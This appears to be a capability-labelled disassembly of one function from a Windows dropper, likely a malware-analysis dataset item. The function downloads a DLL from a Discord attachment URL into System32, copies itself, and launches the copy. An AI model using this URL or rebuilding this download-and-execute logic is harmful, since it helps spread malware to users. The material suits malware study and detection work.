Function at 0x403b90
Capabilities:
Copy file
Create process on windows
Download url
Receive data
Schedule task via at
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423b86
mov eax, dword fs:[0]
push eax
mov eax, 0x1bf4
call fcn.00406590
mov eax, dword [0x455494]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
push str.Err0r32k___n_n
mov dword [ebp - 0x1c00], eax
call fcn.00403b70
push 0x424470
call fcn.0040bbc5
push str.Tue_Oct_31_04:18:59_2023
push str._n_s__n_n
call fcn.00403b70
push str.Ready_____n_n
call fcn.00403b70
add esp, 0x14
mov dword [ebp - 0x1be8], 0xf
lea ecx, [ebp - 0x1bfc]
mov dword [ebp - 0x1bec], 0
mov byte [ebp - 0x1bfc], 0
push 0xb4
push str.https:__cdn.discordapp.com_attachments_1168626861379702876_1168660243081855108_llll.dll_ex655292aais65401daahmc49c35c7e09463df3b35a993bd4d76464fdbf545c8864aeebb2084a6eb62889f
call fcn.00403080
push 0x19
push str.C:WindowsSystem32Play.dll
lea ecx, [ebp - 0x1be4]
mov dword [ebp - 4], 0
mov dword [ebp - 0x1bd0], 0xf
mov dword [ebp - 0x1bd4], 0
mov byte [ebp - 0x1be4], 0
call fcn.00403080
cmp dword [ebp - 0x1bd0], 0x10
lea ecx, [ebp - 0x1be4]
push 0
cmovae ecx, dword [ebp - 0x1be4]
lea eax, [ebp - 0x1bfc]
cmp dword [ebp - 0x1be8], 0x10
push 0
cmovae eax, dword [ebp - 0x1bfc]
push ecx
push eax
push 0
mov byte [ebp - 4], 1
call sub.urlmon.dll_URLDownloadToFileA
push str.1475Ch
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edi, eax
push 0xe
push edi
call esi
push 0xb
push edi
call esi
push 0xe
push edi
call esi
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x40
push str.______Err0r32k______
push 0x424580
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12c
call esi
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push 0x424434
call ebx
lea ecx, [ebp - 0x1bcc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x1bcc]
call fcn.00402370
add esp, 4
test al, al
je 0x403d1c
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.PLAYGAME_:_
push 0x45b3e8
call fcn.00401150
mov eax, dword [ebp - 0x1c00]
push dword [eax + 4]
lea eax, [ebp - 0xbc8]
push 0x4245ac
push eax
call fcn.00404020
push 0x800
lea eax, [ebp - 0x1bc8]
push 0
push eax
call fcn.004091d0
add esp, 0x20
lea eax, [ebp - 0xbc8]
mov ecx, 0x4245b0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403d86
test dl, dl
je 0x403d82
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403d86
add eax, 2
add ecx, 2
test dl, dl
jne 0x403d66
xor eax, eax
jmp 0x403d8b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x403eca
push 0x800
push eax
lea eax, [ebp - 0x13c8]
push eax
call fcn.004091d0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x13c8]
add esp, 0xc
push 0x104
push eax
push 0
call esi
push 0x104
lea eax, [ebp - 0x1bc8]
push eax
push 0
call esi
lea eax, [ebp - 0x13c8]
push 0x5c
push eax
call fcn.004084a0
add esp, 8
add eax, 1
je 0x403e55
mov byte [eax], 0
call fcn.00402320
push eax
lea eax, [ebp - 0x13c8]
push eax
lea eax, [ebp - 0x7e0]
push str._s_s.exe
push eax
call fcn.00404020
lea eax, [ebp - 0x1bc8]
push eax
lea eax, [ebp - 0x3f8]
push 0x4245c4
push eax
call fcn.00404020
add esp, 0x1c
lea eax, [ebp - 0x7e0]
push 0
push eax
lea eax, [ebp - 0x1bc8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 5
push 0
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x7e0]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x1bd0]
cmp eax, 0x10
jb 0x403e73
inc eax
lea ecx, [ebp - 0x1be4]
push eax
push dword [ebp - 0x1be4]
call fcn.004031f0
mov eax, dword [ebp - 0x1be8]
mov dword [ebp - 0x1bd0], 0xf
mov dword [ebp - 0x1bd4], 0
mov byte [ebp - 0x1be4], 0
cmp eax, 0x10
jb 0x403eac
inc eax
lea ecx, [ebp - 0x1bfc]
push eax
push dword [ebp - 0x1bfc]
call fcn.004031f0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040657a
mov esp, ebp
pop ebp
ret
push 0xc8
call esi
mov eax, dword [ebp - 0x1c00]
lea edx, [ebp - 0x3f8]
mov ecx, dword [eax + 4]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x403ee2
lea eax, [ebp - 0x3f8]
push eax
call fcn.0040bece
add esp, 4
push 0x4242c4
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.00402470
push str.Err0r32k___n_n
call fcn.00403b70
push 0x424470
call fcn.0040bbc5
push str.Tue_Oct_31_04:18:59_2023
push str._n_s__n_n
call fcn.00403b70
push str.Err0r32k___n_n
call fcn.00403b70
push 0x4245d4
push str.Err0r32k__s_n
call fcn.00403b70
add esp, 0x1c
mov dword [0x45b17c], 1
call dword [sym.imp.KERNEL32.dll_FreeConsole]
cmp dword [0x45633c], 0
jne 0x403f74
call fcn.004021c0
mov dword [0x45633c], eax
test eax, eax
je 0x403f66
push 0x40
push str.__Err0r32k__
push 0x424580
push 0
call edi
push 0x12c
call esi
push 0
push 0x424434
call ebx
lea ecx, [ebp - 0x1bcc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x1bcc]
call fcn.00402370
add esp, 4
test al, al
jne 0x404012
nop dword [eax]
nop dword [eax + eax]
push str.PLAYGAME:_
push 0x45b3e8
call fcn.00401150
add esp, 8
push 0x40
push str.__Err0r32k__
push 0x424580
push 0
call edi
push 0x12c
call esi
push 0
push 0x424434
call ebx
lea ecx, [ebp - 0x1bcc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x1bcc]
call fcn.00402370
add esp, 4
test al, al
je 0x403fc0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]